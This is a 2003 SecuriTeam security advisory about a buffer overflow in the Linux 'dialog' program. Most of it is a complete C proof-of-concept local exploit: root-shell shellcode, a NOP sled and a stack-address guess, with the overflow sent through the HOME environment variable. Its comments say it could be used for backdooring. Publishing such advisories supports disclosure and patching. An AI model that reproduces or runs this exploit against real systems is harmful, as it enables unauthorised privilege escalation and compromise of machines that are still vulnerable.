[EXPL] Dialog Local Exploit (HOME)

From: SecuriTeam (support_at_securiteam.com)
Date: 08/13/03

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Date: 13 Aug 2003 12:20:27 +0200

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      Dialog Local Exploit (HOME)
    ------------------------------------------------------------------------

    SUMMARY

    There exists a buffer overflow vulnerability in the dialog program that is
    used to display dialog boxes from scripts. As far as it is known, version
    0.9b-20030308 is affected by the vulnerability. The following is a proof
    of concept local exploit tested on Slackware [kernel 2.4.20].

    DETAILS

    Exploit:
    /*
      Linux x86 "cdialog (ComeOn Dialog!)" local exploit

      author: dodo <dodo@darkwired.ath.cx>
      author: tsunami <tsunami@darkwired.org>
      tested on: Slackware Linux (2.4.20), `dialog` 'version 0.9b-20030308'
      date: ? updated: 01-08-03
      
      notes:
      could be used for backdooring purposes..
      greets to everyone @ #darkwired
      thanks to everyone who helped
      
      usage:
      ./dw-dialogexp [offset]
      Slackware Linux offset: -2000

      contact:
      http://www.darkwired.org/
      dodo@darkwired.org
      tsunami@darkwired.org
      ssl-irc: irc.darkwired.org #darkwired
    */

    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>

    #define BSIZE 2092

    static char shell[]= /* van dergelijke internet locaties geplukt */
        "\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
        "\xeb\x17\x5e\x89\x76\x08\x31\xc0"
        "\x88\x46\x07\x89\x46\x0c\xb0\x0b"
        "\x89\xf3\x8d\x4e\x08\x31\xd2\xcd"
        "\x80\xe8\xe4\xff\xff\xff/bin/sh\x58";

    unsigned long get_sp(void)
    {
     __asm__("movl %esp, %eax");
    }

    int main(int argc, char *argv[])
    {
    char buffer[BSIZE+64];
    unsigned long sp = get_sp(), i;
    signed long offset = -2000;

      if(argc>1) offset = atoi(argv[1]);
      sp = sp - offset;

      memset(buffer, 0x90, BSIZE); //glijbaan
      memcpy(buffer+(BSIZE/2), (char *)&shell, strlen(shell));
      //memcpy(buffer+BSIZE, &sp, sizeof(sp));
        for(i=BSIZE-20;i<BSIZE+64;i+=4)
        {
        *(long *)&buffer[i] = sp;
        }
      buffer[BSIZE+64] = '\0';

      if(setenv("HOME", buffer, 1)==-1) return -1;
      system("dialog --title darkwired");

    return 0;
    }

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:dodo@darkwired.ath.cx> dodo
    and <mailto:tsunami@darkwired.org> tsunami.

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